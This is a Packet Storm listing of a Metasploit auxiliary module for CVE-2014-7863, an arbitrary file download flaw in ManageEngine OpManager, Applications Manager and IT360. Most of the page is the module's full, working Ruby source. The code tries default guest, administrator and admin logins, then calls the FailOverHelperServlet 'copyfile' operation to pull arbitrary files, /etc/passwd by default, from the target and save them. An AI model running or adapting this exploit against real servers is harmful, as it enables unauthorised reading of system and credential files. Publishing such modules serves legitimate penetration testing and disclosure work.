exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

ManageEngine Multiple Products Arbitrary File Download

ManageEngine Multiple Products Arbitrary File Download
Posted Aug 31, 2024
Authored by Pedro Ribeiro | Site metasploit.com

This Metasploit module exploits an arbitrary file download vulnerability in the FailOverHelperServlet on ManageEngine OpManager, Applications Manager and IT360. This vulnerability is unauthenticated on OpManager and Applications Manager, but authenticated in IT360. This Metasploit module will attempt to login using the default credentials for the administrator and guest accounts; alternatively you can provide a pre-authenticated cookie or a username and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually 8300). This Metasploit module has been tested on both Windows and Linux with several different versions. Windows paths have to be escaped with 4 backslashes on the command line. There is a companion module that allows the recursive listing of any directory. This vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6.

tags | exploit, arbitrary
systems | linux, windows
advisories | CVE-2014-7863
SHA-256 | ab1da9467d95d26cb5271376592036167d2ec0d3ad01d9799864c1393dc93294

ManageEngine Multiple Products Arbitrary File Download

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ManageEngine Multiple Products Arbitrary File Download',
'Description' => %q{
This module exploits an arbitrary file download vulnerability in the FailOverHelperServlet
on ManageEngine OpManager, Applications Manager and IT360. This vulnerability is
unauthenticated on OpManager and Applications Manager, but authenticated in IT360. This
module will attempt to login using the default credentials for the administrator and
guest accounts; alternatively you can provide a pre-authenticated cookie or a username
and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually
8300). This module has been tested on both Windows and Linux with several different
versions. Windows paths have to be escaped with 4 backslashes on the command line. There is
a companion module that allows the recursive listing of any directory. This
vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6.
},
'Author' => [
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2014-7863'],
['OSVDB', '117695'],
['URL', 'https://seclists.org/fulldisclosure/2015/Jan/114'],
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_failservlet.txt']
],
'DisclosureDate' => '2015-01-28'
)
)

register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI', [true, 'The base path to OpManager, AppManager or IT360', '/']),
OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),
OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']),
OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']),
OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)'])
]
)
end

def post_auth?
true
end

def get_cookie
cookie = nil
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'])
})

if res
cookie = res.get_cookies
end

cookie
end

def detect_it360
res = send_request_cgi({
'uri' => '/',
'method' => 'GET'
})

if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/
return true
end

return false
end

def get_it360_cookie_name
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/')
})

cookie = res.get_cookies

if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
return ::Regexp.last_match(1)
else
return nil
end
end

def authenticate_it360(port, path, username, password)
if datastore['DOMAIN_NAME'].nil?
vars_post = {
'LOGIN_ID' => username,
'PASSWORD' => password,
'isADEnabled' => 'false'
}
else
vars_post = {
'LOGIN_ID' => username,
'PASSWORD' => password,
'isADEnabled' => 'true',
'domainName' => datastore['DOMAIN_NAME']
}
end

res = send_request_cgi({
'rport' => port,
'method' => 'POST',
'uri' => normalize_uri(path),
'vars_get' => {
'service' => 'OpManager',
'furl' => '/',
'timestamp' => Time.now.to_i
},
'vars_post' => vars_post
})

if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=(\w{9,})/
# /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
return res.get_cookies
end

nil
end

def login_it360
# Do we already have a valid cookie? If yes, just return that.
unless datastore['IAMAGENTTICKET'].nil?
cookie_name = get_it360_cookie_name
cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';'
return cookie
end

# get the correct path, host and port
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/')
})

if res && res.redirect?
uri = [ res.redirection.port, res.redirection.path ]
else
return nil
end

if datastore['USERNAME'] && datastore['PASSWORD']
print_status("Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...")
cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
unless cookie.nil?
return cookie
end
end

default_users = ['guest', 'administrator', 'admin']

default_users.each do |user|
print_status("Trying to authenticate as #{user}...")
cookie = authenticate_it360(uri[0], uri[1], user, user)
unless cookie.nil?
return cookie
end
end

nil
end

def run
# No point to continue if filepath is not specified
if datastore['FILEPATH'].empty?
print_error('Please supply the path of the file you want to download.')
return
end

if detect_it360
print_status('Detected IT360, attempting to login...')
cookie = login_it360
if cookie.nil?
print_error('Failed to login to IT360!')
return
end
else
cookie = get_cookie
end

servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet'
res = send_request_cgi({
'method' => 'GET',
'cookie' => cookie,
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet)
})
if res && res.code == 404
servlet = 'FailOverHelperServlet'
end

# Create request
begin
print_status("Downloading file #{datastore['FILEPATH']}")
res = send_request_cgi({
'method' => 'POST',
'cookie' => cookie,
'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
'vars_get' => {
'operation' => 'copyfile',
'fileName' => datastore['FILEPATH']
}
})
rescue Rex::ConnectionRefused
print_error('Could not connect.')
return
end

# Show data if needed
if res && res.code == 200

if res.body.to_s.bytesize == 0
print_error('0 bytes returned, file does not exist or is empty.')
return
end

vprint_line(res.body.to_s)
fname = File.basename(datastore['FILEPATH'])

path = store_loot(
'manageengine.http',
'application/octet-stream',
datastore['RHOST'],
res.body,
fname
)
print_good("File saved in: #{path}")
else
print_error('Failed to download file.')
end
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close